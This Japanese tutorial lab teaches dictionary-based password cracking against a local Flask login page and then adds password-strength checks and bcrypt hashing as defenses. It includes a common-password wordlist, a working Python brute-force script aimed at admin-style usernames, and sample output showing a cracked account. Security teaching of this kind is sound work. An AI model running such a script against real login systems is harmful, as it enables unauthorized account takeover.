Python を使用した Web サイトのパスワードクラッキング

PythonBeginner
オンラインで実践に進む

はじめに

この実験(Lab)では、Python を使用して Web アプリケーションにおける脆弱なパスワードの脆弱性を特定し、悪用する方法を学びます。攻撃者がどのようにシステムを侵害するかを理解するために、一般的なパスワードクラッキング(password cracking)技術を実践します。この実践的な演習は、強力なパスワードポリシーの重要性を強調しながら、不可欠なサイバーセキュリティスキルを開発するのに役立ちます。

ターゲット Web サイトの調査

このステップでは、セキュリティ評価の最初の重要な段階である、対象 Web サイトに関する情報を収集します。パスワードクラッキング(password cracking)を試みる前に、ログインシステムがどのように機能し、どのようなセキュリティ対策が講じられているかを理解することが重要です。

  1. Web ブラウザを開き、http://localhost:8080/ にアクセスします。これは、LabEx 環境の Web 8080 タブをクリックすることでアクセスできます。
LabEx web browser tab

注意:LabEx 仮想マシンでは、Web サーバーは一時的なパブリックネットワーク上で動作します。つまり、表示されるドメイン名は "localhost" ではなく、実際にアクセス可能なドメインである可能性があります。これは正常であり、実験(Lab)の演習に影響はありません。

  1. ログインフォームを注意深く調べます。以下の点に注目してください。

    • サイトは、ユーザー名とパスワードの両方を要求します。これは、資格情報ベースの認証と呼ばれます。
    • 有効なユーザー名やパスワードの要件に関する目に見える手がかりはありません。これは、意図的なセキュリティ(security)による難読化です。
  2. いくつかのランダムなユーザー名とパスワードの組み合わせを使用してログインを試みます。例:

    • ユーザー名:test, パスワード:password123
    • ユーザー名:admin, パスワード:admin
    • ユーザー名:user, パスワード:12345

これらは、多くの初心者が使用する可能性のある一般的なデフォルトの資格情報です。各試行に対して「無効なユーザー名またはパスワード」というメッセージが表示されるはずです。

  1. 観察に基づいて、ログインシステムについていくつかの推測を立てることができます。
    • ユーザー名が存在するかどうかを明らかにしません。これは、ユーザー名列挙保護(username enumeration protection)と呼ばれます。これは、攻撃者が有効なアカウントを発見するのを防ぐ優れたセキュリティ(security)プラクティスです。
    • ログイン試行回数に明らかな制限はありません。セキュリティ(security)用語では、これはレート制限の欠如(lack of rate limiting)と呼ばれ、現実世界ではブルートフォース攻撃(brute force attacks)を可能にする可能性があります。

この初期の偵察段階は、セキュリティ専門家が「フットプリンティング(footprinting)」と呼ぶもので、対象システムに関する基本的な情報を収集することです。これらの詳細を理解することで、次のステップでパスワードクラッキング(password cracking)のアプローチをより効果的に計画するのに役立ちます。

パスワード辞書の作成

ログインシステムに関する情報を収集したので、潜在的なパスワードの辞書を作成します。サイバーセキュリティ(cybersecurity)において、パスワード辞書とは、ログインシステムに対して試行される可能性のあるパスワードのリストを含むテキストファイルのことです。これは、パスワードクラッキング(password cracking)の試みで使用される基本的な技術であり、これを理解することで、より優れた防御を構築するのに役立ちます。

  1. デスクトップでターミナルを開きます。ターミナルは、パスワードファイルを作成するためのコマンドを実行する場所です。
terminal open on desktop
  1. ターミナルで、次のコマンドを入力して passwords.txt ファイルを作成し、内容を書き込みます。
cat << EOF > ~/project/password_lab/passwords.txt
123456
password
qwerty
letmein
admin
welcome
monkey
123456789
1234567890
superman
supersecret123
iloveyou
password123
123123
000000
12345678
sunshine
qwerty123
1q2w3e4r
111111
1234567
starwars
dragon
princess
adobe123
football
ashley
bailey
trustno1
passw0rd
whatever
EOF

このコマンドは、「here document」(heredoc)と呼ばれる特別な bash 機能を使用します。これは、コマンドラインから直接、複数行のコンテンツを含むファイルを作成するための便利な方法です。何が起こっているのかを分解してみましょう。

  • cat << EOF > filename: これは、bash に対して "EOF" が表示されるまで、すべての入力を受け取り、指定されたファイルにリダイレクトするように指示します。
  • 最初の EOF と 2 番目の EOF の間のテキストが、ファイルの内容になります。
  • 最後の EOF は、入力の終わりを示します。

実行後、~/project/password_lab/ ディレクトリに passwords.txt という名前の新しいファイルが見つかります。このファイルには、最も一般的に使用される 30 個の脆弱なパスワードが含まれています。どれだけ多くのものが単純な単語、数字のシーケンス、またはわずかなバリエーションであるかに注目してください。これらは、まさにシステムを脆弱にするパスワードの種類です。

実際のセキュリティテスト(security testing)では、専門家は以下を含む辞書を使用する場合があります。

  • 何十万ものパスワードの組み合わせ
  • 複数の言語と辞書の単語
  • 一般的なパスワードパターンと変異
  • 以前のセキュリティ侵害から漏洩したパスワード

注意:攻撃方法を理解するために、教育目的でこの小さな辞書を使用していますが、明示的な許可なしにパスワードをクラック(crack)しようとすることは、違法であり、倫理に反します。この演習は、一般的な弱点を理解することで、より強力な認証システムを構築する方法を学ぶのに役立ちます。

パスワードクラッキングスクリプトの記述

パスワード辞書が用意できたので、これらのパスワードを対象 Web サイトに対してテストするプロセスを自動化する Python スクリプトを作成します。このスクリプトは、攻撃者がさまざまなパスワードの組み合わせを体系的に試す方法をシミュレートし、強力なパスワードの重要性を理解するのに役立ちます。

  1. まだ開いていない場合は、デスクトップでターミナルを開きます。ターミナルは、Python コードを記述して実行する場所です。

  2. 次のコマンドを入力して、nano テキストエディタで password_cracker.py という名前の新しいファイルを開きます。

nano ~/project/password_lab/password_cracker.py

Nano は、ほとんどの Linux システムにプリインストールされているシンプルなテキストエディタです。これを使用して、Python スクリプトを記述します。

  1. 次の Python コードをコピーして、nano エディタに貼り付けます。
import requests
import time

def crack_password(username, password_list):
    url = 'http://localhost:8080'
    for password in password_list:
        response = requests.post(url, data={'username': username, 'password': password.strip()})
        if 'Login successful!' in response.text:
            print(f"Succeeded! {username} with password: {password.strip()}")
        else:
            print(f"Failed attempt for {username} with password: {password.strip()}")
        time.sleep(0.1)  ## Small delay to avoid overwhelming the server

def main():
    usernames = ['admin', 'user', 'root', 'administrator', 'webmaster']
    with open('passwords.txt', 'r') as f:
        passwords = f.readlines()

    for username in usernames:
        print(f"Attempting to crack password for user: {username}")
        crack_password(username, passwords)

if __name__ == '__main__':
    main()
  1. Ctrl+X、次に Y、最後に Enter を押して、ファイルを保存して nano を終了します。このシーケンスにより、変更が保存され、ターミナルに戻ります。

このスクリプトがどのように機能するかを詳しく見てみましょう。

  • crack_password 関数:

    • ユーザー名とパスワードのリストを入力として受け取ります。
    • requests ライブラリを使用して、テスト Web サイトに HTTP POST リクエストを送信します。
    • 各パスワードについて、strip() で余分なスペースを削除し、ログインを試みます。
    • 正しいパスワードを識別するために、応答で「Login successful!」を確認します。
    • サーバーの過負荷を防ぐために、試行間に 0.1 秒の遅延を含みます。
  • main 関数:

    • 攻撃者がよく標的とする一般的な管理者ユーザー名を定義します。
    • パスワード辞書ファイル (passwords.txt) を開き、すべての行を読み取ります。
    • 各ユーザー名をループし、辞書内のすべてのパスワードを試行します。
    • if __name__ == '__main__': 行は、スクリプトが直接実行されたときに実行されるようにします。

このスクリプトは、基本的なブルートフォース攻撃(brute-force attack)パターンを示しています。辞書内のすべてのパスワードを各ユーザー名に対して体系的に試します。時間の遅延は非常に重要です。実際の攻撃者は、急速なログイン試行を監視するセキュリティシステムによる検出を回避するために、同様の遅延をよく使用します。

これはあくまで教育目的であることを忘れないでください。現実世界では、明示的な許可なしにこのようなアクションを実行することは違法です。不正アクセスを行うためではなく、これらの手法を理解し、それらから防御するために学んでいます。

パスワードクラッキングスクリプトの実行

パスワードクラッキングスクリプトを準備したので、実際に実行して、その動作を検証してみましょう。この実践的なデモンストレーションでは、基本的な技術を使用して、いかに脆弱なパスワードが侵害される可能性があるかを正確に示します。

  1. まず、スクリプトを含むディレクトリに移動する必要があります。ターミナルで、次のように入力します。
cd ~/project/password_lab

このコマンドは、作業ディレクトリを Python スクリプトを保存した場所に変更します。システムがファイルを見つけて実行できるように、正しいディレクトリにいることが重要です。

  1. スクリプトを実行するには、次のコマンドで Python インタープリターを使用します。
python password_cracker.py

Enter キーを押すと、スクリプトの実行が開始されます。これは、定義済みのリストから一般的なパスワードをサンプルユーザーアカウントに対して体系的に試すことによって機能します。

  1. スクリプトの実行中に、出力を注意深く観察してください。各試行を示すリアルタイムのフィードバックが表示されます。一般的な出力は次のようになります。
labex:password_lab/ $ python password_cracker.py
Attempting to crack password for user: admin
Failed attempt for admin with password: 123456
Failed attempt for admin with password: password
Failed attempt for admin with password: qwerty
Failed attempt for admin with password: letmein
Failed attempt for admin with password: admin
Failed attempt for admin with password: welcome
Failed attempt for admin with password: monkey
Failed attempt for admin with password: 123456789
Failed attempt for admin with password: 1234567890
Failed attempt for admin with password: superman
Succeeded! admin with password: supersecret123

スクリプトが、一致が見つかるまで、一般的な脆弱なパスワードを順番に試していることに注目してください。これは、辞書攻撃(dictionary attack)と呼ばれ、可能性のある候補のリストからパスワードをテストします。

  1. スクリプトが完了したら、結果について次の重要な質問を検討してください。
    • どのユーザーアカウントが、正常にクラックされた脆弱なパスワードを持っていたか?
    • 各正しいパスワードを見つけるまでに、何回の試行が必要だったか?
    • 正常に推測されたパスワードには、どのようなパターンが見られますか?
    • なぜ、一部のパスワードはクラッキングに抵抗し、他のパスワードはそうではなかったと思いますか?

この演習は、単純なパスワードが危険である理由を明確に示しています。今回のテストケースでは、パスワード「supersecret123」を持つアカウント「admin」は、一般的なパスワードの辞書に表示されたため、脆弱でした。文字と数字が含まれているにもかかわらず、その予測可能性により、クラックが容易になりました。

注意:このデモンストレーションは、教育目的のみです。明示的な許可なしに、これらの技術を実際のシステムで使用することは違法です。私たちの目標は、セキュリティの弱点を理解し、より強力なパスワードポリシーを作成し、システムをより適切に保護することです。

パスワードセキュリティの強化

脆弱なパスワードをいくつか正常にクラックしたので、このような攻撃を防ぐために適切なセキュリティ対策を実装しましょう。このセクションでは、パスワード強度チェッカーと安全な登録システムを作成します。これらは、プロの Web アプリケーションで使用される基本的なセキュリティプラクティスです。

  1. LabEx VM で WebIDE タブを開きます。WebIDE は、Web ベースの統合開発環境であり、ブラウザで直接コードを記述、実行、デバッグできます。VS Code エディタに似ていますが、ブラウザで実行されます。WebIDE は、より長いコードファイルを編集するのに適しています。
WebIDE interface screenshot
  1. 画面左側のファイルエクスプローラーで、app.py ファイルをクリックしてエディタで開きます。ここで、セキュリティの改善を追加します。

  2. パスワード強度チェックを実装するために、users ディクショナリの後に次の関数を追加します。この関数は、正規表現(regex)を使用してパスワードの複雑さを検証します。

import re

def is_strong_password(password):
    if len(password) < 12:
        return False
    if not re.search(r'[A-Z]', password):
        return False
    if not re.search(r'[a-z]', password):
        return False
    if not re.search(r'\d', password):
        return False
    if not re.search(r'[!@#$%^&*(),.?":{}|<>]', password):
        return False
    return True
Password strength check code

この関数は、パスワードが次の検証を行うことで、最新のセキュリティ基準を満たしているかどうかを確認します。

  • 最小長 12 文字(長いパスワードはクラックが困難です)
  • 少なくとも 1 つの大文字(A-Z)
  • 少なくとも 1 つの小文字(a-z)
  • 少なくとも 1 つの数字(0-9)
  • 少なくとも 1 つの特殊文字(!@#$% など)
  1. 次に、安全な登録ページを作成します。if __name__ == '__main__': 行の前にこのコードブロックを追加します。これにより、Web アプリケーションに新しいルートが作成されます。
@app.route('/register', methods=['GET', 'POST'])
def register():
    message = ''
    if request.method == 'POST':
        username = request.form.get('username')
        password = request.form.get('password')
        if username and password:
            if is_strong_password(password):
                if username not in users:
                    users[username] = bcrypt.hashpw(password.encode('utf-8'), bcrypt.gensalt())
                    message = 'Registration successful!'
                else:
                    message = 'Username already exists'
            else:
                message = 'Password is not strong enough'
        else:
            message = 'Username and password are required'
    return render_template_string('''
    <!DOCTYPE html>
    <html lang="en">
    <head>
        <meta charset="UTF-8">
        <meta name="viewport" content="width=device-width, initial-scale=1.0">
        <title>Secure Registration</title>
        <script src="https://cdn.tailwindcss.com"></script>
    </head>
    <body class="bg-gray-100 h-screen flex items-center justify-center">
        <div class="bg-white p-8 rounded-lg shadow-md w-96">
            <h2 class="text-2xl font-bold mb-6 text-center text-gray-800">Secure Registration</h2>
            <form method="post" class="space-y-4">
                <div>
                    <label for="username" class="block text-sm font-medium text-gray-700">Username</label>
                    <input type="text" id="username" name="username" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <label for="password" class="block text-sm font-medium text-gray-700">Password</label>
                    <input type="password" id="password" name="password" required class="mt-1 block w-full px-3 py-2 bg-white border border-gray-300 rounded-md shadow-sm focus:outline-none focus:ring-indigo-500 focus:border-indigo-500">
                </div>
                <div>
                    <button type="submit" class="w-full flex justify-center py-2 px-4 border border-transparent rounded-md shadow-sm text-sm font-medium text-white bg-indigo-600 hover:bg-indigo-700 focus:outline-none focus:ring-2 focus:ring-offset-2 focus:ring-indigo-500">
                        Register
                    </button>
                </div>
            </form>
            <p class="mt-4 text-center text-sm text-gray-600">{{ message }}</p>
            <p class="mt-2 text-center text-xs text-gray-500">Password must be at least 12 characters long and contain uppercase, lowercase, numbers, and special characters.</p>
        </div>
    </body>
    </html>
    ''', message=message)
User registration form interface

この登録システムは、いくつかの重要なことを行います。

  • パスワード強度チェッカーを使用します
  • 重複するユーザー名を防ぎます
  • bcrypt ハッシュを使用してパスワードを安全に保存します
  • パスワード要件に関する明確なフィードバックを提供します
  1. 保存アイコンをクリックするか、Ctrl+S を押して、WebIDE で変更を保存します。

  2. 次に、Flask アプリケーションを再起動して、これらの変更を適用しましょう。ターミナルを開き、次を実行します。

pkill -f "python app.py"
python ~/project/password_lab/app.py
  1. Web 8080 タブに移動し、URL に /register を追加して、新しい登録フォームにアクセスします。
User registration form interface
  1. 「password123」のような脆弱なパスワードで登録を試して、セキュリティをテストします。システムは、エラーメッセージで拒否する必要があります。

  2. 次に、すべての基準を満たす適切な強力なパスワードで登録します。例:

    • ユーザー名:labex
    • パスワード:S3cureP@ssw0rd-2024

    このパスワードには、必要なすべての文字タイプが含まれており、十分に長いことに注意してください。

  3. パスワードクラッカーに対して、改善されたセキュリティをテストしましょう。まず、password_cracker.py スクリプトを変更して、新しいアカウントをターゲットにします。

    • ターミナルを開き、次のように入力します。
    nano ~/project/password_lab/password_cracker.py
    • usernames = ['admin', 'user', 'root', 'administrator', 'webmaster'] と書かれた行を見つけます。
    • それを usernames = ['labex'] に置き換えて、新しいアカウントをターゲットにします。
  4. 変更したスクリプトを実行します。

python ~/project/password_lab/password_cracker.py

スクリプトは、パスワードをクラックできず、強力なパスワードポリシーがブルートフォース攻撃を効果的に防ぐことを示しているはずです。これは、最新のアプリケーションが複雑なパスワード要件を強制する理由を示しています。

まとめ

この実験では、倫理的なパスワードクラッキング(password cracking)と Web アプリケーションのセキュリティテストの基本を学びました。脆弱性を特定するための偵察技術を実践し、パスワード辞書を作成し、Python スクリプトを使用して攻撃シミュレーションを自動化しました。

この実践的な経験を通じて、脆弱なパスワードがどのように悪用される可能性があるか、そして堅牢なセキュリティ対策を実装することの重要性について理解を深めました。この実験では、強力なパスワードポリシーなど、一般的な攻撃からシステムを効果的に保護できる実用的な対策が示されました。